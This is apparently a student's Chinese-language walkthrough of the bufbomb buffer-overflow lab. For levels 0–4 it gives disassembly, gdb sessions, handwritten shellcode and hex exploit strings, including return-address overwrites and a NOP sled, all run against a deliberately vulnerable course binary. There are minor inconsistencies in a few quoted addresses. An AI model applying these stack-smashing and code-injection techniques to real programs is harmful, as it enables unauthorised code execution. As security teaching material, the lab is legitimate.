Pre

关于运行环境

通过 Tabby 的 ssh 连接 VMWare Workstation Player 的 Ubuntu 64位虚拟机。

虚拟机上面安装了 gcc 相应环境以及 ssh 相关环境。

关于几个文件

  • bufbomb:一个有缓冲区溢出漏洞的程序。

    通过 getbuf() 函数从输入中读取字符串:

    1
    2
    3
    4
    5
    6
    7
    8
    /* Buffer size for getbuf */
    #define NORMAL_BUFFER_SIZE 32

    int getbuf() {
    char buf[NORMAL_BUFFER_SIZE];
    Gets(buf);
    return 1;
    }

    getbuf() 函数类似于 gets() 函数,它是读入一段字符串,字符串以 \n 或者 eof 表示结束,并把它存储起来。

    但是 getbuf() 提供的缓冲区只有32个字符大小,getbuf() 本身又对输入的字符是否超过缓冲区大小没有进行安全检查,从而带来了缓冲区溢出漏洞。

    bufbomb有几个命令行参数:

    • -u userId为指定的userid操作炸弹
    • -h打印命令行参数列表
    • -n在”Nitro”模式下操作,在Level 4中使用。
    • -s将解决方案提交给评分服务器

    如:

    1
    ./bufbomb -u userId

    如果出现“权限不够”的提示,可以试试chmod 777 bufbomb

    1
    2
    3
    4
    btmuli@amadus:~/桌面/LAB3/handout$ ./bufbomb -u btmuli
    Userid: btmuli
    Cookie: 0x29334f58
    Type string:
  • makecookie:可以根据用户不同的 userId 生成的唯一的 cookie ,对应解决问题。

    如何生成cookie:

    1
    ./makecookie userId

    如果出现“权限不够”的提示,可以试试chmod 777 makecookie

    1
    2
    btmuli@amadus:~/桌面/LAB3/handout$ ./makecookie btmuli
    0x29334f58
  • hex2raw:使编写的缓冲区利用代码的转换为一个字符串的格式,只有经过转换以后才可以输入到 getbuf() 中。

    输入两个一组的16进制数字以空格或者换行符分隔,也就是16进制格式的exploit string,转换为ASCII码格式字符串。支持c语言风格的注释

    如果出现“权限不够的提示”,可以试试chmod 777 hex2raw

    你能通过设置一系列管道去通过hex2raw传递字符串:

    1
    unix> cat exploit.txt | ./hex2raw | ./bufbomb -u bovik

    你能存储原始字符串在一个文件,然后通过使用I/O重定向去提交给bufbomb

    1
    2
    unix> ./hex2raw < exploit.txt > exploit-raw.txt
    unix> ./bufbomb -u bovik < exploit-raw.txt

    在GDB调试内部也能使用这种方法:

    1
    2
    unix> gdb bufbomb
    (gdb) run -u bovik < exploit-raw.txt

    0x0A是换行符\n,它会终止字符串读取,所以不能包含0x0A

    如果要创建字符串0xDEADBEEF,我们应该传递EF BE AD DE


实验

Level 0

根据实验指导书的内容,getbuf()函数被test()函数调用,test()函数 C 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void test() {
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();

val = getbuf();

/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
} else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
} else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}

函数的调用顺序是test()->getbuf()->test(),我们要做的就是把它改成test()->getbuf()->smoke()

查看getbuf()相关反汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
08049262 <getbuf>:
8049262: 55 push %ebp
8049263: 89 e5 mov %esp,%ebp
8049265: 83 ec 38 sub $0x38,%esp
8049268: 8d 45 d8 lea -0x28(%ebp),%eax
804926b: 89 04 24 mov %eax,(%esp)
804926e: e8 bf f9 ff ff call 8048c32 <Gets>
8049273: b8 01 00 00 00 mov $0x1,%eax
8049278: c9 leave
8049279: c3 ret
804927a: 90 nop
804927b: 90 nop
804927c: 90 nop
804927d: 90 nop
804927e: 90 nop
804927f: 90 nop

根据0x8049268可知,getbuf()函数调用Gets()的参数,

分析栈帧:

帧栈分析

因为0x28即40,所以需要先存40个字符到栈帧中占用给临时变量预留的空间,然后存入4个字符去占用为旧的esp存的空间,最后再构造4个字符去将返回地址改为smoke()函数的入口地址。

也就是说,当我们写入48字节的内容时,最后4字节刚好覆盖getbuf()的返回地址。

而查看smoke()函数相关反汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
08048e0a <smoke>:
8048e0a: 55 push %ebp
8048e0b: 89 e5 mov %esp,%ebp
8048e0d: 83 ec 18 sub $0x18,%esp
8048e10: c7 44 24 04 fe a2 04 movl $0x804a2fe,0x4(%esp)
8048e17: 08
8048e18: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e1f: e8 6c fb ff ff call 8048990 <__printf_chk@plt>
8048e24: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048e2b: e8 50 04 00 00 call 8049280 <validate>
8048e30: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048e37: e8 94 fa ff ff call 80488d0 <exit@plt>

可见函数入口地址为0x08048e0a,因为0a在ASCII中表示的是换行符,直接使用08048e0a会导致入口地址不完整,因此用08048e0b代替,用小端法表示。

最终在ans0.txt输入的内容就是下面这些:

1
2
3
4
5
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 0b 8e 04 08

前面44个字节任意,后面4个字节是0x08048e0b的小端法表示。

然后终端写入:

1
2
3
4
5
6
btmuli@amadus:~/桌面/LAB3/handout$ ./hex2raw < ans0.txt | ./bufbomb -u btmuli
Userid: btmuli
Cookie: 0x29334f58
Type string:Smoke!: You called smoke()
VALID
NICE JOB!

通过。


Level 1

根据指导书的内容,存在一个fizz()函数,其 C 代码如下:

1
2
3
4
5
6
7
8
9
void fizz(int val) {
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else {
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}
}

跟 Level 0 类似,我们要做的就是让bufbomb执行fizz()函数,并且把自己的cookie参数给传进去。

查看fizz()相关反汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
08048daf <fizz>:
8048daf: 55 push %ebp
8048db0: 89 e5 mov %esp,%ebp
8048db2: 83 ec 18 sub $0x18,%esp
8048db5: 8b 45 08 mov 0x8(%ebp),%eax
8048db8: 3b 05 04 d1 04 08 cmp 0x804d104,%eax
8048dbe: 75 26 jne 8048de6 <fizz+0x37>
8048dc0: 89 44 24 08 mov %eax,0x8(%esp)
8048dc4: c7 44 24 04 e0 a2 04 movl $0x804a2e0,0x4(%esp)
8048dcb: 08
8048dcc: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048dd3: e8 b8 fb ff ff call 8048990 <__printf_chk@plt>
8048dd8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048ddf: e8 9c 04 00 00 call 8049280 <validate>
8048de4: eb 18 jmp 8048dfe <fizz+0x4f>
8048de6: 89 44 24 08 mov %eax,0x8(%esp)
8048dea: c7 44 24 04 d4 a4 04 movl $0x804a4d4,0x4(%esp)
8048df1: 08
8048df2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048df9: e8 92 fb ff ff call 8048990 <__printf_chk@plt>
8048dfe: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048e05: e8 c6 fa ff ff call 80488d0 <exit@plt>

跟 Level 0 类似,我们要做的就是写入 48 个字节,前面 44 个字节用来覆盖,最后 4 个字节用来指向fizz()函数。

注意到:

1
2
mov    0x8(%ebp),%eax
cmp 0x804d108,%eax

其中 0x8(%ebp) 就是函数的第一个参数,而 0x804d108 这个内存地址保存着 cookie 的值,然后这两个值期望是一样的,这个位置就是我们要放 cookie 的位置。

也就是说参数是放到了返回地址的上面,并且和返回地址相邻

因为 fizz() 入口地址为 0x8048dafuserIdbtmuli 的情况下的 cookie0x29334f58 ,因此在ans1.txt写入如下内容:

1
2
3
4
5
6
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 af 8d 04 08 00 00
00 00 58 4f 33 29

前面 44 个字节跟中间 4 个字节表示的返回地址内容任意,然后终端写入:

1
2
3
4
5
6
btmuli@amadus:~/桌面/LAB3/handout$ ./hex2raw < ans1.txt | ./bufbomb -u btmuli
Userid: btmuli
Cookie: 0x29334f58
Type string:Fizz!: You called fizz(0x29334f58)
VALID
NICE JOB!

Level 2

根据指导书的内容,bufbomb下有一个bang()函数,其 C 代码如下:

1
2
3
4
5
6
7
8
9
10
int global_value = 0;
void bang(int val) {
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else {
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
}

我们要做的就是让它执行bang(),并且把全局变量global_value的值改成cookie对应的值。

查看bang()相关反汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
08048d52 <bang>:
8048d52: 55 push %ebp
8048d53: 89 e5 mov %esp,%ebp
8048d55: 83 ec 18 sub $0x18,%esp
8048d58: a1 0c d1 04 08 mov 0x804d10c,%eax
8048d5d: 3b 05 04 d1 04 08 cmp 0x804d104,%eax
8048d63: 75 26 jne 8048d8b <bang+0x39>
8048d65: 89 44 24 08 mov %eax,0x8(%esp)
8048d69: c7 44 24 04 ac a4 04 movl $0x804a4ac,0x4(%esp)
8048d70: 08
8048d71: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048d78: e8 13 fc ff ff call 8048990 <__printf_chk@plt>
8048d7d: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8048d84: e8 f7 04 00 00 call 8049280 <validate>
8048d89: eb 18 jmp 8048da3 <bang+0x51>
8048d8b: 89 44 24 08 mov %eax,0x8(%esp)
8048d8f: c7 44 24 04 c2 a2 04 movl $0x804a2c2,0x4(%esp)
8048d96: 08
8048d97: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048d9e: e8 ed fb ff ff call 8048990 <__printf_chk@plt>
8048da3: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048daa: e8 21 fb ff ff call 80488d0 <exit@plt>

根据0x8048d58可知,global_value的地址为0x804d10c

因为其中涉及到全局变量,并非之前简单的更改函数内部变量,所以考虑写一个程序修改全局变量的的值,然后跳转到bang()执行。

手写汇编代码如下:

1
2
3
4
movl $0x29334f58, %eax
movl %eax, 0x804d10c
push $0x08048d52
ret

写入ans2.s中,然后终端执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
btmuli@amadus:~/桌面/LAB3/handout$ gcc -c ans2.s -m32
btmuli@amadus:~/桌面/LAB3/handout$ objdump -d ans2.o

ans2.o: 文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
0: b8 58 4f 33 29 mov $0x29334f58,%eax
5: a3 0c d1 04 08 mov %eax,0x804d10c
a: 68 52 8d 04 08 push $0x8048d52
f: c3 ret

得到其机器码,为了执行这些代码,我们需要知道buf数组的首地址,在 Level 0 的分析中,我们知道了 buf 数组的首地址是 ebp-0x28

使用 GDB 获取该地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
btmuli@amadus:~/桌面/LAB3/handout$ gdb bufbomb
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bufbomb...
(No debugging symbols found in bufbomb)
(gdb) disas getbuf
Dump of assembler code for function getbuf:
0x08049262 <+0>: push %ebp
0x08049263 <+1>: mov %esp,%ebp
0x08049265 <+3>: sub $0x38,%esp
0x08049268 <+6>: lea -0x28(%ebp),%eax
0x0804926b <+9>: mov %eax,(%esp)
0x0804926e <+12>: call 0x8048c32 <Gets>
0x08049273 <+17>: mov $0x1,%eax
0x08049278 <+22>: leave
0x08049279 <+23>: ret
End of assembler dump.
(gdb) b* getbuf+9
Breakpoint 1 at 0x804926b
(gdb) run -u btmuli
Starting program: /home/btmuli/桌面/LAB3/handout/bufbomb -u btmuli
Userid: btmuli
Cookie: 0x29334f58

Breakpoint 1, 0x0804926b in getbuf ()
(gdb) p/x $eax
$1 = 0x5568379

获取到该地址为0x55683798

所以ans2.txt写入如下内容:

1
2
3
4
5
6
7
8
9
10
11
b8 58 4f 33 29
a3 0c d1 04 08
68 52 8d 04 08
c3
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00
98 37 68 55

写入的 48 个字节,前面 16 个字节是写的汇编转的机器码,后面 4 个字节是 buf 数组的首地址,中间 28 个字节内容随意。

然后在终端执行:

1
2
3
4
5
6
btmuli@amadus:~/桌面/LAB3/handout$ ./hex2raw < ans2.txt | ./bufbomb -u btmuli
Userid: btmuli
Cookie: 0x29334f58
Type string:Bang!: You set global_value to 0x29334f58
VALID
NICE JOB!

Level 3

根据指导书的内容,我们之前的攻击都导致程序跳转到其他函数的代码,然后导致程序退出,故使用破坏堆栈的exploit string来覆盖保存的值是可以接受的。

而在这个 Level 中,我们要做的有三点:

(1)修改 getbuf() 返回值为对应cookie,而不是1;

(2)恢复 test() 函数中的 %ebp 寄存器内容;

(3)返回到接下去 test() 函数执行位置正常执行

之前 Level 0 的时候有说过 test() 的 C 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void test() {
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();

val = getbuf();

/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
} else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
} else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}

查看对应反汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
08048e3c <test>:
8048e3c: 55 push %ebp
8048e3d: 89 e5 mov %esp,%ebp
8048e3f: 53 push %ebx
8048e40: 83 ec 24 sub $0x24,%esp
8048e43: e8 d0 fd ff ff call 8048c18 <uniqueval>
8048e48: 89 45 f4 mov %eax,-0xc(%ebp)
8048e4b: e8 12 04 00 00 call 8049262 <getbuf>
8048e50: 89 c3 mov %eax,%ebx
8048e52: e8 c1 fd ff ff call 8048c18 <uniqueval>
8048e57: 8b 55 f4 mov -0xc(%ebp),%edx
8048e5a: 39 d0 cmp %edx,%eax
8048e5c: 74 16 je 8048e74 <test+0x38>
8048e5e: c7 44 24 04 60 a4 04 movl $0x804a460,0x4(%esp)
8048e65: 08
8048e66: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e6d: e8 1e fb ff ff call 8048990 <__printf_chk@plt>
8048e72: eb 46 jmp 8048eba <test+0x7e>
8048e74: 3b 1d 04 d1 04 08 cmp 0x804d104,%ebx
8048e7a: 75 26 jne 8048ea2 <test+0x66>
8048e7c: 89 5c 24 08 mov %ebx,0x8(%esp)
8048e80: c7 44 24 04 1a a3 04 movl $0x804a31a,0x4(%esp)
8048e87: 08
8048e88: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e8f: e8 fc fa ff ff call 8048990 <__printf_chk@plt>
8048e94: c7 04 24 03 00 00 00 movl $0x3,(%esp)
8048e9b: e8 e0 03 00 00 call 8049280 <validate>
8048ea0: eb 18 jmp 8048eba <test+0x7e>
8048ea2: 89 5c 24 08 mov %ebx,0x8(%esp)
8048ea6: c7 44 24 04 37 a3 04 movl $0x804a337,0x4(%esp)
8048ead: 08
8048eae: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048eb5: e8 d6 fa ff ff call 8048990 <__printf_chk@plt>
8048eba: 83 c4 24 add $0x24,%esp
8048ebd: 5b pop %ebx
8048ebe: 5d pop %ebp
8048ebf: c3 ret

根据 0x8048e50 ,我们可以知道 getbuf() 的返回值保存在 %eax 内,然后赋给 val

考虑构造代码,将 %eax 里面的值修改为 cookie 对应的值,同时将赋值指令的地址压入栈,用 ret 指令返回地址,即能实现题目要求。

手写汇编代码如下:

1
2
3
movl $0x29334f58, %eax
pushl $0x8048e50
ret

写入 ans3.s 中,然后终端执行:

1
2
3
4
5
6
7
8
9
10
11
12
btmuli@amadus:~/桌面/LAB3/handout$ gcc -c ans3.s -m32
btmuli@amadus:~/桌面/LAB3/handout$ objdump -d ans3.o

ans3.o: 文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
0: b8 58 4f 33 29 mov $0x29334f58,%eax
5: 68 50 8e 04 08 push $0x8048e50
a: c3 ret

得到其机器码,为了还原栈,我们通过 GDB 获取 ebp 旧值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
btmuli@amadus:~/桌面/LAB3/handout$ gdb bufbomb 
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bufbomb...
(No debugging symbols found in bufbomb)
(gdb) disas getbuf
Dump of assembler code for function getbuf:
0x08049262 <+0>: push %ebp
0x08049263 <+1>: mov %esp,%ebp
0x08049265 <+3>: sub $0x38,%esp
0x08049268 <+6>: lea -0x28(%ebp),%eax
0x0804926b <+9>: mov %eax,(%esp)
0x0804926e <+12>: call 0x8048c32 <Gets>
0x08049273 <+17>: mov $0x1,%eax
0x08049278 <+22>: leave
0x08049279 <+23>: ret
End of assembler dump.
(gdb) b* getbuf
Breakpoint 1 at 0x8049262
(gdb) run -u btmuli
Starting program: /home/btmuli/桌面/LAB3/handout/bufbomb -u btmuli
Userid: btmuli
Cookie: 0x29334f58

Breakpoint 1, 0x08049262 in getbuf ()
(gdb) p/x $ebp
$1 = 0x556837f0

跟前一个 Level 一样,最终我们构造出来的 ans3.txt 内容如下:

1
2
3
4
5
6
7
8
9
10
11
b8 58 4f 33 29
68 50 8e 04 08
c3
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00
f0 37 68 55
98 37 68 55

其中前面 11 个字节为汇编转的机器码,中间 29 个字节内容任意。

后面 8 个字节,前面 4 个字节是刚刚获取到的 旧的 ebp 的地址,后面 4 个字节是上个 Level 获取到的 buf 数组的首地址,均用小端法表示。

然后终端执行:

1
2
3
4
5
6
btmuli@amadus:~/桌面/LAB3/handout$ ./hex2raw < ans3.txt | ./bufbomb -u btmuli
Userid: btmuli
Cookie: 0x29334f58
Type string:Boom!: getbuf returned 0x29334f58
VALID
NICE JOB!

Level 4

根据实验指导书的说明,在本 Level 中,我们需要用到 -n 这个参数来运行程序。

涉及到的函数也不是之前的 test()getbuf() ,而是 testn()getbufn() ,这两个函数跟之前的大体相似,只不过会连续执行 5 次,且 buf 缓冲区的长度拓展到了 512 个字节。

正常的程序运行过程中,具体在栈中的位置是不确定的,buf 等地址在栈中位置是变化的,我们需要用到 nop sled 技术,通过 nop 指令构造序列,使得程序只要执行到任意一个 nop 指令就会逐渐执行到攻击代码。

查看getbufn()相关反汇编代码:

1
2
3
4
5
6
7
8
9
10
08049244 <getbufn>:
8049244: 55 push %ebp
8049245: 89 e5 mov %esp,%ebp
8049247: 81 ec 18 02 00 00 sub $0x218,%esp
804924d: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
8049253: 89 04 24 mov %eax,(%esp)
8049256: e8 d7 f9 ff ff call 8048c32 <Gets>
804925b: b8 01 00 00 00 mov $0x1,%eax
8049260: c9 leave
8049261: c3 ret

根据0x804924d可知,buf数组的首地址为-0x208(%ebp)为520个字节。

通过gdb调试获取该地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
btmuli@amadus:~/桌面/LAB3/handout$ gdb bufbomb 
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bufbomb...
(No debugging symbols found in bufbomb)
(gdb) b* getbufn
Breakpoint 1 at 0x8049244
(gdb) run -n -u btmuli
Starting program: /home/btmuli/桌面/LAB3/handout/bufbomb -n -u btmuli
Userid: btmuli
Cookie: 0x29334f58

Breakpoint 1, 0x08049244 in getbufn ()
(gdb) p/x $ebp-0x208
$1 = 0x556835e8
(gdb) c
Continuing.
Type string:1
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049244 in getbufn ()
(gdb) p/x $ebp-0x208
$2 = 0x556835d8
(gdb) c
Continuing.
Type string:2
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049244 in getbufn ()
(gdb) p/x $ebp-0x208
$3 = 0x55683658
(gdb) c
Continuing.
Type string:3
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049244 in getbufn ()
(gdb) p/x $ebp-0x208
$4 = 0x55683608
(gdb) c
Continuing.
Type string:4
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049244 in getbufn ()
(gdb) p/x $ebp-0x208
$5 = 0x55683658
(gdb) c
Continuing.
Type string:5
Dud: getbufn returned 0x1
Better luck next time
[Inferior 1 (process 3009) exited normally]

上面的仅为示例,实际范围还需经过多次测试

测试可知,buf的初始地址范围为0x556835d8~0x556836e8

查看 testn() 相关反汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
08048cce <testn>:
8048cce: 55 push %ebp
8048ccf: 89 e5 mov %esp,%ebp
8048cd1: 53 push %ebx
8048cd2: 83 ec 24 sub $0x24,%esp
8048cd5: e8 3e ff ff ff call 8048c18 <uniqueval>
8048cda: 89 45 f4 mov %eax,-0xc(%ebp)
8048cdd: e8 62 05 00 00 call 8049244 <getbufn>
8048ce2: 89 c3 mov %eax,%ebx
8048ce4: e8 2f ff ff ff call 8048c18 <uniqueval>
8048ce9: 8b 55 f4 mov -0xc(%ebp),%edx
8048cec: 39 d0 cmp %edx,%eax
8048cee: 74 16 je 8048d06 <testn+0x38>
8048cf0: c7 44 24 04 60 a4 04 movl $0x804a460,0x4(%esp)
8048cf7: 08
8048cf8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048cff: e8 8c fc ff ff call 8048990 <__printf_chk@plt>
8048d04: eb 46 jmp 8048d4c <testn+0x7e>
8048d06: 3b 1d 04 d1 04 08 cmp 0x804d104,%ebx
8048d0c: 75 26 jne 8048d34 <testn+0x66>
8048d0e: 89 5c 24 08 mov %ebx,0x8(%esp)
8048d12: c7 44 24 04 8c a4 04 movl $0x804a48c,0x4(%esp)
8048d19: 08
8048d1a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048d21: e8 6a fc ff ff call 8048990 <__printf_chk@plt>
8048d26: c7 04 24 04 00 00 00 movl $0x4,(%esp)
8048d2d: e8 4e 05 00 00 call 8049280 <validate>
8048d32: eb 18 jmp 8048d4c <testn+0x7e>
8048d34: 89 5c 24 08 mov %ebx,0x8(%esp)
8048d38: c7 44 24 04 a6 a2 04 movl $0x804a2a6,0x4(%esp)
8048d3f: 08
8048d40: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048d47: e8 44 fc ff ff call 8048990 <__printf_chk@plt>
8048d4c: 83 c4 24 add $0x24,%esp
8048d4f: 5b pop %ebx
8048d50: 5d pop %ebp
8048d51: c3 ret

0x8048ce2 可知:testn()eax 返回值赋给 val 的指令地址为 0x8048ce2

每次运行 testn()ebp 都不同,所以每次 getbufn() 里面保存的 testebp 也是随机的,

我们首先需要考虑的就是攻击代码的长度,因为必须要通过缓冲区覆盖掉函数 getbufn() 的返回地址,因此代码长度至少是 528 个字节,包括 520 个字节的缓冲区,4 字节被保存的 %ebp ,以及 4 字节的返回地址。

根据提示,我们将攻击代码放在缓冲区的最后面,并且用 90(nop) 填充所有未被利用到的缓冲区,以实现一个 nop sled

手写汇编代码:

1
2
3
4
lea 0x28(%esp), %ebp
movl $0x29334f58, %eax
pushl $0x8048ce2
ret

写入到 ans4.s 中,然后终端执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
btmuli@amadus:~/桌面/LAB3/handout$ gcc -c ans4.s -m32
btmuli@amadus:~/桌面/LAB3/handout$ objdump -d ans4.o

ans4.o: 文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
0: 8d 6c 24 28 lea 0x28(%esp),%ebp
4: b8 58 4f 33 29 mov $0x29334f58,%eax
9: 68 e2 8c 04 08 push $0x8048ce2
e: c3 ret

最后是返回地址的设定,因为buf的初始地址不确定,在序列中填充的跳转地址只能根据它的大致范围确定。我们选取buf可能地址中的最大值0x556836e8,这样当buf移动的时候,该地址始终可以命中nop序列。

最终我们的攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90
8d 6c 24 28
b8 58 4f 33 29
68 e2 8c 04 08
c3
e8 36 68 55

然后在终端执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
btmuli@amadus:~/桌面/LAB3/handout$ ./hex2raw -n < ans4.txt | ./bufbomb  -n -u btmuli
Userid: btmuli
Cookie: 0x29334f58
Type string:KABOOM!: getbufn returned 0x29334f58
Keep going
Type string:KABOOM!: getbufn returned 0x29334f58
Keep going
Type string:KABOOM!: getbufn returned 0x29334f58
Keep going
Type string:KABOOM!: getbufn returned 0x29334f58
Keep going
Type string:KABOOM!: getbufn returned 0x29334f58
VALID
NICE JOB!

Commission Complete !